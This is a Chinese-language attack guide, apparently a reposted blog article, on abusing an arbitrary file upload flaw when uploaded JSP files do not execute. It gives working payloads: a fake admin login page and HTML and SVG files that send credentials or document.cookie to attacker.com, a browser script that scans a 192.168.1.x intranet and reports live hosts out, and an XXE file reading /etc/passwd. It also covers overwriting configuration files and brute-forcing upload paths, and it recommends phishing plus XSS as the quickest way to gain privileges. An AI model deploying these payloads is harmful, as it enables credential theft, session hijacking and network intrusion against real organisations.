??? 無法執(zhí)行 JSP 時,如何高效利用任意文件上傳漏洞
?? 漏洞背景
目標(biāo)系統(tǒng)存在任意文件上傳漏洞,攻擊者可以上傳任意類型的文件,包括 .jsp
、.html
、.js
等。但:
.jsp
雖可上傳,但 無法執(zhí)行(可能情況:Web 服務(wù)器不解析 JSP、權(quán)限限制、文件路徑未知等)。- 文件真實路徑已知,上傳后文件訪問不解析執(zhí)行。
- 不能依賴傳統(tǒng)的 WebShell 方式上線或執(zhí)行命令。
那么,此時我們還能做什么呢?以下是完整的實戰(zhàn)指南。
?? 核心目標(biāo)
即使無法執(zhí)行服務(wù)器端腳本,任意文件上傳仍具備以下潛力:
- 輔助其他漏洞鏈構(gòu)建(如 XSS、LFI、XXE 等)
?? 利用方式與可行性分析
1. 上傳 HTML + JS 頁面誘導(dǎo)訪問(釣魚攻擊)
思路: 上傳惡意 HTML 頁面,誘導(dǎo)管理員點擊訪問,執(zhí)行 JS 代碼,實現(xiàn) XSS、信息收集或內(nèi)網(wǎng)探測。
示例:上傳誘導(dǎo)頁面 login.html
<!-- fake_admin_login.html -->
<html>
<body>
<h2>后臺登錄已超時,請重新登錄</h2>
<form action="http://attacker.com/collect" method="POST">
用戶名:<input name="user"><br>
密碼:<input type="password" name="pass"><br>
<input type="submit" value="登錄">
</form>
</body>
</html>
利用方式:
- 發(fā)送釣魚鏈接到管理員或目標(biāo)用戶(如:
https://target.com/uploads/login.html
)
2. 注入型 HTML/JS 頁面 -> XSS 腳本執(zhí)行
思路: 上傳帶有 XSS Payload 的 .html
, .svg
, .js
文件,誘導(dǎo)訪問即觸發(fā)腳本。
示例:xss.html
<html>
<body>
<script>
fetch("http://attacker.com/collect?cookie=" + document.cookie);
</script>
<h1>加載中...</h1>
</body>
</html>
利用方式:
- 訪問鏈接誘導(dǎo)管理員點擊(或目標(biāo)系統(tǒng)自動加載 HTML 頁面如日志、圖像、文檔)
- 自動發(fā)送管理員 Cookie 給攻擊者,實現(xiàn)后臺會話劫持
3. SVG 文件 XSS 利用(繞過限制)
思路: SVG 是合法圖像格式,支持嵌入腳本,可繞過部分上傳限制系統(tǒng)。
示例:xss.svg
<svg xmlns="http://www.w3.org/2000/svg" onload="fetch('https://attacker.com/log?c='+document.cookie)">
<circle cx="100" cy="100" r="50" fill="blue"/>
</svg>
利用方式:
- 如果有“文件預(yù)覽”、“圖像查看”功能,管理員點擊查看時即被觸發(fā)
4. 利用上傳文件進行內(nèi)網(wǎng)信息收集(誘導(dǎo)掃描)
思路: 上傳 JS 頁面誘導(dǎo)用戶瀏覽器請求內(nèi)網(wǎng)地址,攻擊者據(jù)此確認(rèn)內(nèi)網(wǎng)結(jié)構(gòu)。
示例:intranet_scan.html
<script>
const ports = [80, 8080, 5000, 8000];
const subnet = "192.168.1.";
for (let i = 1; i <= 254; i++) {
ports.forEach(port => {
let target = `http://${subnet}${i}:${port}`;
fetch(target, { mode: 'no-cors' }).then(() => {
fetch("http://attacker.com/log?host=" + encodeURIComponent(target)); // 結(jié)果返回
});
});
}
</script>
利用方式:
- 誘導(dǎo)管理員或內(nèi)部用戶訪問上傳頁面
- 攻擊者服務(wù)器接收成功請求,獲得內(nèi)網(wǎng) IP 存活資產(chǎn)
5. 惡意 XML / JSON 文件觸發(fā) XXE / 配置注入
思路: 某些系統(tǒng)會解析上傳的 XML/JSON 文件,若未安全配置,可能觸發(fā) XXE 或 JSON 配置注入。
示例:evil.xml
<?xml version="1.0"?>
<!DOCTYPE root [
<!ENTITY xxe SYSTEM"file:///etc/passwd">
]>
<root>&xxe;</root>
利用方式:
- 若 XXE 存在,攻擊者能獲取服務(wù)器本地文件內(nèi)容
6. 文件覆蓋 / 配置污染(需路徑可控)
思路: 若上傳路徑可控或服務(wù)端目錄結(jié)構(gòu)可探測,嘗試覆蓋配置文件、JS 文件、日志文件等。
比如:
- 覆蓋 Nginx 配置或 Spring YAML 配置(若應(yīng)用會加載上傳的配置)
?? 如何獲取文件真實路徑
1. 響應(yīng)內(nèi)容回顯分析
大多數(shù)文件上傳接口在上傳成功后會返回響應(yīng)信息,其中可能包含如下內(nèi)容:
- 文件的訪問路徑(絕對或相對)
{"url":"/upload/imgs/abc.jpg"}
- 存儲路徑或文件名
{"filePath":"C:\\web\\uploads\\abc.jsp"}
- 上傳后的文件名(可用于拼接路徑)
{"file":"abc.jsp"}
?? 建議:詳細(xì)分析響應(yīng)體中的 JSON、HTML、Headers,尤其是如 url
、path
、location
字段。
2. 功能頁面自動引用上傳文件
有些上傳功能會直接在前端頁面或后端邏輯中使用上傳的文件,例如:
- 上傳合同后,在某個預(yù)覽地址中通過真實路徑訪問文件
- 富文本上傳圖片后,在文章編輯區(qū)預(yù)覽
?? 建議:
- 上傳文件后觀察是否有圖片、音頻、PDF 等自動加載;
- 監(jiān)聽是否有新請求發(fā)起,URL 中可能就含有真實路徑;
- 若返回
img src
、iframe
、object
標(biāo)簽,路徑常嵌入其中。
3. 路徑猜解與探測(信息有限時)
若以上兩種方式都失敗,就只能根據(jù)已有線索猜測路徑或進行探測。例如:
- 通常可猜測訪問路徑可能為
/static/upload/image/xxx.png
- 使用目錄掃描工具(如
dirsearch
)配合上傳文件名進行路徑爆破。 - 結(jié)合響應(yīng)文件名構(gòu)造路徑:
?? 注意:猜測路徑時盡量使用時間戳、UUID、用戶ID等組合邏輯,還可結(jié)合源碼、JS、路徑泄漏等輔助信息。
?? 總結(jié)
- 盡量從業(yè)務(wù)功能角度多思考上傳的文件,如何被使用、包含或處理
- 善用 HTML + JS 組合的誘導(dǎo)和信息獲取能力
- 一旦能訪問上傳文件,釣魚 + XSS 是最快獲取權(quán)限的方式之一
閱讀原文:原文鏈接
該文章在 2025/5/6 12:14:05 編輯過